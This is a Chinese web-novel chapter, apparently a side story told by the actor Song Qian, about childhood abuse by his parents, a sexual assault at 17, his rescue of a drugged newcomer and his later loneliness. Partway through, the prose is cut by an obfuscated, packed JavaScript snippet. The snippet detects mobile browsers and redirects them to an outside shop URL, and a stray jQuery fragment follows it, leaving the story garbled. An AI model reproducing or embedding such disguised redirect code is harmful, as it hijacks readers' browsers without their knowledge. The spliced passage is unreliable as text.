我的名字，是宋谦。


    刚来到这个世界的时候，也许我是被爱着的，也许。


    记忆中有一道声音，声音说：“满招损，谦受益，时乃天道。”


    在懵懂的年龄，我看见从前每每回家便要给母亲一个拥抱的父亲，一进门就跪在了地上。


    他矮了好多，我抱有新奇向他跑去，可是闻到了好呛人、好呛人的酒气。


    “林仁，阿仁，对不起……我被裁了。”他跪在地上，捂着脸，是在痛哭吗？呜呜咽咽的，我觉得可怕。


    我的母亲，林仁。她向他走近，蹲下去，用着对待我时的温柔语气对他说：“没关系的，我们的未来还很长，这个世界上，有很多机会。”


    可是，在这个有很多机会的世界里，你们为什么要拳脚相向？


    究竟是从哪一天开始，已记不清。


    租住的高级公寓与我们永别，微微倾斜的楼房里，墙壁完全隔不住音。不是隔不隔音的问题，我站在走廊上向下看，总觉得自己要和这楼房一起塌下去。


    后来真的塌了，只不过，塌掉的是我，是我的家。这栋微微倾斜的楼房，没有塌。


    书包在肩膀上，真的很重；起码，对正在上大班的我来说，很重。从幼儿园回到家，要拐弯八次，过马路三次，经过的红绿灯一共有五个。幼儿园的我，不知道自己走了有多远，只知道好累。


    但是你们说，我们家不同以往，穷人的孩子要早当家。如果我无法自己走回来，那就再也不要回来。


    我想回来，我会回来。


    好累的我背着真的很重的书包站在家门口，开了道口的门前，我露着眼。


    我的母亲，她在父亲被裁以后，越发努力——努力地找工作。


    曾经的公司已经不肯要她，于是她成为了一名汽车销售。


    “你要我说几遍？你要是不相信我就跟我离婚啊！你以前去应酬喝酒，我有说过你一句吗？你现在没有工作天天待在家里跟个废人一样，我有说过你一句吗？”


    温柔的母亲把她富有条理的头发撸得一团乱，我看不清她的脸，只听到她的怒气在长鸣：“从前，我会给你煮醒酒汤；你呢？我喝到胃出血回来，你怎么对我的？你每次都要问我是跟谁喝的他们有没有占便宜——占便宜又怎样啊？！”


    “我能怎么办？我能怎么办？我一个人要养三个家，你爸妈家、我爸妈家、我们家；你是要逼死我才甘心吗宋威！当年要不是因为你害得我未婚先孕，要不是你跟我信誓旦旦地说你可以养我们，我怎么会辞职？！”


    很响亮的“啪”。我被吓到，抖了抖肩膀。


    是爸爸打了妈妈，我的父亲打了我的母亲；被裁后在家整日消沉的父亲打了拼命赚钱不顾身体的母亲。


    我好想哭，不敢哭，只能不停地发抖。


    “你终于说出你的真心话了，你终于说实话了吧林仁，你看不起我——你看不起我！”我的父亲，他的声音好大好大，大到要让楼房倒塌。


    大到，塌了我们的家。


    我的父母离了婚，母亲要走了我的抚养权——可她似乎并不爱我。


    她，好像有点恨我。


    上小学，我的文化成绩十分普通，我有努力，努力没有改变我的普通。


    妈妈，一百分一点也不容易考。


    妈妈，衣架子落在身上，真的很疼。


    妈妈，你说不准哭，说我不努力就该打。我不哭，我会更努力，努力到你不再说我撒谎。


    6岁，在二年级之前，我终于得到了一百分的考卷。


    你没有给我笑容，你说——“真不知道你是随了谁，一年级，考个一百分都这么难。肯定是随了你那个废物爹。”


    门被敲响，你把考卷往旁边一扔，我扑过去抓住，可是抓得太急，它被抓破了。


    一个阿姨牵着一个男生走进来，他似乎和我差不多大。


    阿姨说：“哎呀，我儿子他非要跟着来，甩都甩不掉——你知道他拿什么理由说要跟着吗？他这次考试才考了六十分，一年级的题目，他考六十分，还非要说是因为我不经常陪着他，他才考不好。”


    阿姨在笑。


    你说：“有的小孩子就是开窍晚，说不准以后，随随便便就考个六百分出来。”


    妈妈……我仰望着在门口的女人，我的母亲对另一个母亲笑脸相迎，我的母亲把曾经给我的温柔给了另一个母亲的孩子。


    她对那个男生说：“阿姨家里没有零食，你有什么想吃的吗？我让这个哥哥去给你买好不好？”


    阿姨这时突然看了看我，她问母亲：“你儿子看着好小哦，不过模样真是俊——他多大啊？”


    你们聊着我和另一个男生的出身年月日，结果，在你口中作为“哥哥”的我，其实是弟弟。


    没关系，弟弟也没关系，你说。


    “都一样的，你有什么想吃的，我让这个弟弟去给你买。要有待客之道嘛，没关系的，说吧。”


    我被赶出了家门。


    你把我送到楼下，对我说：“你自己掂量时间，天黑之前不准回来。”


    妈妈，六岁的我不知道你想做什么，我只知道你让我去买零食，却不给我钱，也不让我回家。


    六岁的我听了你的话，站在楼下。


    炎燠的夏日……头好痛，妈妈。


    炎燠的夏日……我好晕，妈妈。


    炎燠的夏日……我听到房子在笑，房子里的人在笑；你在笑，她在笑，他在笑。


    妈妈，我笑不出来，我想吐。


    在阿姨带着她儿子走出单元门的时候，我躲在了垃圾桶后面。不知道为什么，总觉得，你不希望我被你们看到，被他们看到。


    你笑着把他们送走，说：“我儿子就是贪玩，真不该把钱给他，不晓得又要到哪里去疯混。”


    在他们离开以后，我小心地挪步，从垃圾桶之后来到你面前，解释说：“妈妈，我没有疯玩……”


    “闭嘴！”你吼着。


    你蹲到我面前，掐住我的脸——好疼。


    你的眼神……你想杀死我吗？


    “你装什么可怜装什么无辜你在装什么？你和你爹一样让人恶心，别用这种眼神看着我！”你压抑着声音冲我吼。


    “如果不是你，如果不是你——我不会和你爸结婚，更不会沦落到这个地步。你毁了我的一生，你装什么可怜装什么无辜你在装什么？！”


    妈妈，我的呼吸困难了。


    妈妈，对不起。


    ——“满招损，谦受益，时乃天道。”


    12岁，被星探发现。


    我进入了娱乐圈。


    妈妈，这个圈子，一点也不光鲜。可是，你说，我要赚很多钱，赔偿你。


    好的，妈妈。


    一路，摸爬滚打。


    当我终于掌握自主权，当我终于站到了不容易被人操控的位置上。已经过去了十一年。


    23岁。


    会所的走廊上，灯光有蛊人的能力，香水味在空气里浮摇，滉得人头晕。


    我的头又有点疼了。算了，也不止这一次。


    视线不经意地划开，恰恰好撞见——


    长发垂坠着，女人侧脸似乎起了层薄汗，使不少发丝粘在脸颊上，泛开的红仿佛在叙说不正常。


    搂着她的男人有一颗椭圆的脑袋，冬瓜似的身材。


    记忆恍惚，我骤然回到了十七岁。


    紧闭的窗户，拉紧的窗帘，充斥着石楠花味道的房间……以及，我感知到剧痛及不适的排泄部位。


    身上的痕迹将一切说明，我毋须再费时间思考自己经历了什么。


    不如不说明。


    睁开眼的我，从床上坐起来的十七岁的那个我，他绝望吗？


    庆功宴，池怜阙不在，他孤身和那桌人应付，没人和他同一阵线。


    为什么，在紧要关头，放弃他？


    为什么抛弃我？


    为什么留我一人？


    为什么，伤害我？


    二十二岁的我捂住自己的心口，情不自禁地重咳了几下。


    少管闲事，宋谦。


    让她经历你经历过的一切吧，看看她会有什么反应。谁知道是不是自己甘愿？


    可是我又看到了一个女生，她大概只是十几岁的年纪，站在包厢门口，一壁哭一壁抖——真没用。


    我走到了“真没用”的她的面前。


    “怎么了？”


    她缓慢地扬起脸，眼睛在对上我的眼时微微瞪大。约莫在难以置信，毕竟我没戴口罩，没做任何遮掩。


    少顷，她擎起她抖嗦嗦的手，遥指着走向电梯间的两人道：“江、江璐，她被投资人摸了腿，立马就站起来；我看着她站起来，她说她要去上厕所。”


    “我看着——看着她离开以后，那些人往她的杯子里倒酒，下、下药，透明的。”她没用地再一次狠狠抖了抖自己的肩膀。


    通过面前的“真没用”的女生，我构建出了一幕常见的剧情。


    回到包厢的江璐在瞅着桌上满酒的杯子后，将潜规则视之于无物，刚直道：“我已经说过我不会喝酒。”


    “喝一杯两杯的又不会怎么样。”


    “那请给我换一个新的杯子，酒——我也要没开封的。我比较挑剔，不好意思。”她肩膀不屈，昂首挺立。


    在那一个包厢里，在那一张酒桌上，她是个没有自主权的人。她不是她自己的。


    “你把这杯酒喝了，你不是想演这部剧的女二吗？你把这杯酒喝了，不但这个角色是你的，你也可以直接回家——你想去哪就去哪，只要进组的时候别让我们找不到你的人就可以。”


    刚入圈的新人，往往是初生牛犊不怕虎的。


    她喝了那杯酒，作用力远比她想象的要强。


    我不应该多管闲事。


    可我回过头，看见在等电梯的他们的背影，无端端，觉得被搂着的那个人、被剥夺自主权的那个人——是十七岁的我。


    当我回过神的时候，我已经和他们一起进了电梯。


    我站在他们的面前，看着那个有些眼熟的椭圆脑袋——冬瓜。


    手里似乎有东西，我低下头抬起手，屏幕上正显示着录像界面。


    顿了顿，我扬起下颚，看向跟前的有着椭圆脑袋的冬瓜的眼睛，笑着温声道：“请问，你搂着一个醉酒的、不省人事的女性，是想做什么？”


    我明知故问。


    冬瓜大抵是认出了我，先是一时的噎口，再道：“你情我愿的那些事罢了，能做什么？”


    我的嘴角又往上勾了勾，将语气柔得更为无害：“是吗？会所的包厢里都有摄像头，走廊上也有摄像头——你头顶也有摄像头。”


    我举起手机，把屏幕那面反给他看，不紧不慢道：“我，应该也算得上‘摄像头’。”


    “噢——忘了告诉你，刚刚我顺便从一个小女生嘴里，了解了一下你搂着的这位女性醉酒的过程。”我保持着我的温和，极致的温和。


    他把人交给了我。


    怀里的人酒气浓重，模糊间，萦着些她自己身上的一种香气。


    我的头，不那么疼了；但晕，我认为我几近昏厥。


    我把她送去了一家私立医院，院长与我熟识——给的钱多了，自然要熟。


    如何合理地给一家医院很多钱？投资。


    为什么要投资？


    我冷眼看着这个名为江璐的女人被推进病房。


    院长刚从家里赶来，他有些气喘，扶着眼镜看向我道：“我还以为，你又割了你哪里。即使不是疤痕体质，也不能无限度地造作。”


    我朝他颔首，温言道：“我知道。有劳院长。”


    我麻烦院长嘱咐医护人员，让他们在江璐醒后想办法把人留下。


    这么做的理由——当然不是我对她有兴趣。只不过，想看看，如果十七岁的我及时被人救下，会有如何的发展。


    翌日。


    站在病房门口，我听到护士的声音。


    “你现在需要休息，你昨天被下了药你知道吗？现在那么着急离开做什么？而且，你刚刚不是问我，是谁把你送来医院的吗？你不想见见他吗？你打算不感谢把你送来医院的人就直接离开吗？那帮助你的人该有多寒心。”


    我耐心地站在门口。


    江璐，她总算开口：“那我不走。”


    干涩的四个字，她的声音——偏中性的，和她的长相——忘了，我没仔细看她的脸。


    但她的声音很特别。


    敢于拒绝投资人，敢于抵抗潜规则的人，应当都是特别的。纵使初生牛犊不怕虎，然而大多数牛犊，都知道该从众——从不反抗的众。


    “真没用”的女生，是为“真蠢”的她而哭的么？


    我没兴趣知道。


    我推开了病房的门。


    后续的发展，不在我的预料之内。最初的观察，在不知不觉中演变成了喜欢；短短数月，我和她确定了关系。


    我坦白我的过往，坦白当初救下她的原因。


    她抱住了我。


    她说：“都不是你的错。”


    她把她的童年也交给了我，关于她童年的所有，都交给了我。


    于是我知道，抱住我的女人，有和我高度相似的过去。


    她对她的母亲逆来顺受，一如我对我的母亲。


    多么巧啊，她也没有父亲。


    然而，原生家庭的结构，她与池怜阙的更为相似，她生于多子家庭。她懂我吗？我以为，也许只是说说而已。


    我们依然有差异。


    她不是我。


    她不是十七岁的我。


    十七岁的我，没有人爱，没有人拯救；十七岁，被人伤害。算了，也不止那一次。


    我好割裂，我该对谁说。


    “我的合同要到期了，我不会再和迷影续约。”


    “你呢？要不要和我一起离开？”池怜阙坐在我斜对面，他抱臂攲在沙发上。


    果然，他终于要抛弃我。


    所以，我曾经对他的伤害没有错。


    曝光他的住址、动向没有错，偷拍他抽烟的照片抹黑他没有错……


    一早，就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768109|187198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他先抛弃我。


    如果当初的庆功宴他在，如果他在。


    我吊着自己的唇角，终于把对别人的公式化笑容对给了他。


    “我不打算离开，我和他们谈了谈，一年一年地续约。”


    当我有意要让他身败名裂的事情暴露时，我其实还松了一口气。走廊尽头的窗口，输送着风，风扇不醒我。


    他喊一声我的名字，我就醒了。


    将一切都承认。


    池怜阙，再见。


    至于江璐——当我看到我和她进出酒店的照片登上热搜时，我松了一口气。我可以合理地把她推开了。


    都对我失望吧，都离我远点，我就是自私自利的。我，自私自利。


    31岁，位于电影节的场地。


    望着台上的女人，听着她道出“安溪铁观音”，我的嘴角和眼睛情不自禁地散出笑意。


    可是，当她向池怜阙告白时，我的笑意怎么也跃不出来。


    反倒是眼泪蠕蠕而动。


    评审团主席祝他们幸福。


    我把头往下低。


    ——祝你们幸福。


    之后颁布的奖项是最佳男演员奖，评审团主席念出了我的名字。


    从十二岁到三十一岁。


    十九年的时间。


    先前在他们身上的聚光灯如今注向我，在他们的注目中，我胸腔内无有欢喜，仅剩一片空虚。


    早在我二十八岁时，我的母亲便再婚，她常常在朋友圈发她继子的照片，或他们一家三口的合照。她不再向我索要“赔偿”，也不再与我联系。


    我一步一步地走向颁奖台。


    有什么意义。


    获得影帝后我宣布息影。池怜阙总是快我一步，他早已在幕后风生水起。不过，我也不用再与他竞争，因为无意义。我的钱够花了，我该去寻找我自己的意义。


    36岁，我刚从一个国家旅完游回来，正在商场中闲行。


    压低的帽檐和低着的脸，让我不那么容易被发现——也没有人会再刻意地去寻找我的踪影。


    我把头抬起，稍微转一转，入目的广告大屏上，业已是娱乐圈的新鲜血液。当然，魏摇芙已经在圈内站稳脚跟，大屏上，有她的一席之地。


    “你好！”


    锵然的女声猛地杀过来，我错愕地掀起眼皮。


    喘着气站在我面前的女生单手叉腰，她的长相……我不认识她。


    以为是某个粉丝，我刚要扯动自己的嘴角，便听到她说：“宋谦……哥哥，我是李求。”


    生怕我忘了似的，她又补充：“蜀州的李求。”


    她把自己肩上的背包给翻到了身前，从包里拿出个小盒子，从盒子外观上来看，大略是百来块的低级货。


    然而她把盒子打开，躺在里面的，却是一块价值百万的手表——我想起来了，这是我十年前给她的手表。


    “你……”我陡地不知该说什么。


    可她打断了我，自顾自地引出了她这些年的经历：“我把这块手表保护好了，我做到了。十四岁的时候，我爸妈要把我嫁掉，嫁给一个比我爸大五岁的男人。”


    李求望着我，她不停地笑，笑道：“我逃到镇上报了警，有学校的老师和同学作证……之后我就被送到了福利院，因为我没有别的亲戚要我。”


    “我现在在上京大学读大二，中间因为各种事情耽搁了，所以到现在还在读大二。但是我已经很满足了。我是英专生，以后准备去做翻译。”她的眼睛没藏住红，但她扭头扭得快。


    李求掉头向着后方招手，大大方方地喊道：“你别躲着了，快过来啊。”


    于是，不远处伏在围栏上的男人不自在地站直了身，他眺着我，一边在挠头。


    男人磨磨唧唧地来到李求傍侧，腼腆地小声道了句“你好”就没了下文。


    然而李求却神表幸福，她挽住男人的手臂，冁然道：“这是我男朋友。我的日子，好起来了。”


    旋即，她把那手表递到了我面前。


    “我真的非常感激你，谢谢你当年用一块手表教会我那么深的道理。如果没有遇见你，如果你没有对我说那些话，说不定我十四岁的时候，真的就嫁了。”


    红了的眼睛，会流没有颜色的泪水。


    我把手表推回去，“给你了就是你的，留着，或者当了，都随你。”


    她在遇到危机的时候，选择的是报警，而不是利用这块手表找到我，要求我兑现承诺——我帮到了她什么呢？她分明是在自救。


    “不。这是你的。”李求强行把手表塞到了我的口袋里，她退了一步回到她男朋友身边，仰视着我道：“能够在商场偶遇你不容易，说不准就是老天特地安排的。”


    “我一直随身带着这块表，就指望有朝一日能和你重逢；感谢你，然后把这块手表还给你。”


    口袋微微鼓了些，我把手轻轻贴上那儿。


    “那我给你转点钱——就当是，祝贺你脱离苦海。”


    可李求坚决地拒绝，她把手一挥，摇头道：“不行！你又不是欠我的。”


    “而且，我现在自食其力，一有时间就打工赚钱，干兼职嘛。现在钱也够用了，只不过……没什么能回报你的。”她仿佛羞惭，做出了和她男朋友方才无二的动作，挠头。


    一口气从唇间轻轻落出去，我瞰着她道：“你能够过得好，就是对我的回报。”


    她咧着嘴，很真心地在笑。


    适才挠头的手又进了挂在她身前的背包里，难怪她没把包背回去，也没拉拉链。


    新出现在她掌心的，是一枚平安符。


    鲜艳的红色。


    “这个也是我很早就绣好了的平安符，一直和手表放在一起，随身带着，期待和你重逢的日子，好把这些都给你。”


    她真诚的眼睛有些灼人，我想把眼睛移开。


    平安符从她的手心转移到了我的掌心。


    “宋谦哥哥，祝你平安、健康、幸福。”她望着我，如同祈祷。


    在他们离开以后，我依然握着平安符站在原地。


    商场的顶部是透明材质打造的，我仰首瞻着。


    天光有些刺眼，但没李求的眼睛刺。


    脑海中闪过前段时间收到的请柬，新郎和新娘的名字，分别是孟澧、江璐。


    我不知道他们在一起的原因，想来三两句话说不清。


    我没去。


    在微博上，我看见了他们婚礼的一段录像。


    幸福，总是容易溢出眼睛。


    ——“满招损，谦受益，时乃天道。”


    我把头从仰着变成俯着，手托着平安符抬起。


    禁不住低喃：“我也会幸福吗？我还能幸福吗？”


    商场的歌刚好轮到莫文蔚的《慢慢喜欢你》。


    “……好多桥段，好多都浪漫，好多人心酸，好聚好散。”


    在那句“好多都看不完”中，我动了脚。


    平安符被我塞进了放着手表的口袋里。我环顾着这一层楼的店铺，思索着。


    接下来，要去世界上的哪一角呢？